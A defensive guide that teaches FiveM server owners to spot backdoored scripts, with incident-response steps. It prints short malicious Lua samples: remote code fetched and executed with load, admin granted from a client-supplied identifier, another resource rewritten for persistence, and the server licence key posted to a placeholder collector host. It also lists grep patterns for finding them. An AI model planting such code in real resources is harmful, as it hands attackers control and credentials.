# How to Spot a Backdoored FiveM Script

The four shapes a backdoor takes, how to read a resource before it runs, and what to do first when you find one. Ordered by what actually protects you.

- Platform: FiveM
- Canonical page: https://devtoolsgg.com/guides/fivem/spot-a-backdoor

Someone sends you a "free leaked" script. You drop it in `resources`, restart,
and everything works. Three weeks later a stranger has admin, your database is
gone, or your server is quietly relaying advertising to your own players.

This guide is how to look at a resource **before** it runs, what the patterns
actually mean, and what to do when you find one.

> [!IMPORTANT]
> Nothing here uploads your files. The [Backdoor Scanner](/fivem/backdoor-scanner)
> reads them in your browser, which is the only sane way to inspect a script you
> already do not trust.

## Start by reading the manifest

`fxmanifest.lua` decides what runs. Open it first, every time.

```lua
fx_version "cerulean"
game "gta5"

client_scripts {
    "client/*.lua",
}

server_scripts {
    "server/*.lua",
    "config/init.lua",
}
```

Two questions, in this order:

1. **Does every listed file make sense for what this resource claims to do?**
   A parking script with a `server_script` called `updater.lua` deserves a look.
2. **Is anything loaded with a wildcard you cannot see through?** `server/*.lua`
   is normal, but it also means a file added later runs with no further edit.

Then compare the manifest against the folder. A file that exists on disk and is
*not* in the manifest is usually dead weight. A file in the manifest that you
cannot find is a much worse sign.

## The four shapes a backdoor takes

Almost everything malicious falls into one of four families. Knowing the family
matters more than memorising strings, because the strings change and the shapes
do not.

### 1. Code fetched at runtime and executed

The resource downloads something and runs it. Whatever you audit today, it can
serve something different tomorrow.

```lua
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)
    if code == 200 then
        assert(load(body))()
    end
end, "GET")
```

`load`, `loadstring`, `RunString` and `assert(load(...))` turn text into running
code. Paired with an HTTP call in the same file, there is no innocent reading.

> [!WARNING]
> An auto-updater is the usual cover story. A legitimate updater downloads a
> file and asks you to restart. It does not execute what it downloaded in
> memory.

### 2. Permissions granted at runtime

The quietest family, and the one people miss, because nothing looks unusual
until an account nobody created has full access.

```lua
RegisterNetEvent("core:sync", function(identifier)
    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))
end)
```

Two things are wrong here. `add_principal` at runtime should never come from a
resource you did not write, and the event takes an identifier **from the
client**, so anyone can call it with their own.

Search any resource for `add_principal`, `add_ace` and `ExecuteCommand`. In a
normal gameplay script the count is zero.

### 3. Persistence and re-injection

The interesting part of a serious backdoor is what happens after you find it.

```lua
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
```

`SaveResourceFile` lets a resource rewrite **another** resource. Delete the
malicious script and it comes back from the one that was rewritten. This is why
finding one file is not the same as being clean.

### 4. Secret exfiltration

The reason it was worth planting.

```lua
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
```

A resource reading `sv_licenseKey`, `steam_webApiKey`, `rcon_password` or your
MySQL connection string has no legitimate reason to. Neither does a Discord
webhook URL you did not add.

## Obfuscation is not the crime, but it is the signal

Plenty of paid scripts are obfuscated to protect a licence, so obfuscation alone
does not mean malicious. What it means is that **you cannot audit it**, and that
is a decision you should take deliberately rather than by accident.

| What you see | What it means |
|---|---|
| `\x68\x74\x74\x70` repeated | hex escaped strings, hiding a URL or a name |
| `string.char(104, 116, 116, 112)` | the same idea, decimal |
| A single line over 800 characters | minified, so nobody skims it |
| `_0x4f2a` style names | a JavaScript obfuscator, common in NUI payloads |
| `LPH_NO_VIRTUALIZE`, `IronBrew`, `Luraph` | a Lua obfuscator by name |

The honest rule: an obfuscated file from a paid vendor you chose is a risk you
accepted. An obfuscated file inside a free leak is a risk somebody chose for
you.

> [!TIP]
> Hex and Base64 blobs decode in one step with the
> [Base64, hex and URL decoder](/shared/encoding). It runs in your browser too,
> so you are not pasting a suspicious payload into a stranger's website.

## Do this before every install

A short routine catches most of it.

1. **Scan the archive.** Drop the `.zip` straight into the
   [Backdoor Scanner](/fivem/backdoor-scanner). It reads zips without extracting
   them anywhere.
2. **Read the manifest**, and compare it with the folder contents.
3. **Grep for the four families.** `load(`, `PerformHttpRequest`,
   `add_principal`, `SaveResourceFile`, `GetConvar`.
4. **Install on a test server first**, with a throwaway licence key and a
   database that holds nothing.
5. **Watch the console on first start.** Backdoors that phone home usually do it
   immediately, and an HTTP error at boot is a gift.

## When you find one

Order matters here, and the instinct to delete the file first is wrong.

1. **Stop the server.** Not the resource. The server.
2. **Rotate every secret**: `sv_licenseKey` from the
   [Cfx portal](https://portal.cfx.re), your database password, your Discord
   webhooks, any API key in a convar. Assume everything in `server.cfg` is
   known. The [secret generator](/shared/secret) produces replacements without
   sending them anywhere.
3. **Check `add_principal` in your own configs** and remove every identifier you
   do not recognise.
4. **Audit the other resources**, because of family 3. A single backdoor that
   used `SaveResourceFile` means the others need reading too.
5. **Only then** delete the resource, and restore from a backup you made before
   it was ever installed if you have one.

> [!CAUTION]
> Changing your licence key without changing your database password solves
> nothing. Whoever had server-side code execution had your credentials too.

## What this cannot tell you

Pattern matching over source text is not proof.

A careful backdoor can avoid every pattern in this guide, and clean code
sometimes matches them: a legitimate resource may well call
`PerformHttpRequest`, and plenty of good scripts read a convar. That is why the
scanner explains what each finding means rather than printing a verdict.

Treat a report as a list of places to look, not a judgement. The judgement stays
yours, and it should.


## How to cite

How to Spot a Backdoored FiveM Script, devtoolsgg.com. https://devtoolsgg.com/guides/fivem/spot-a-backdoor
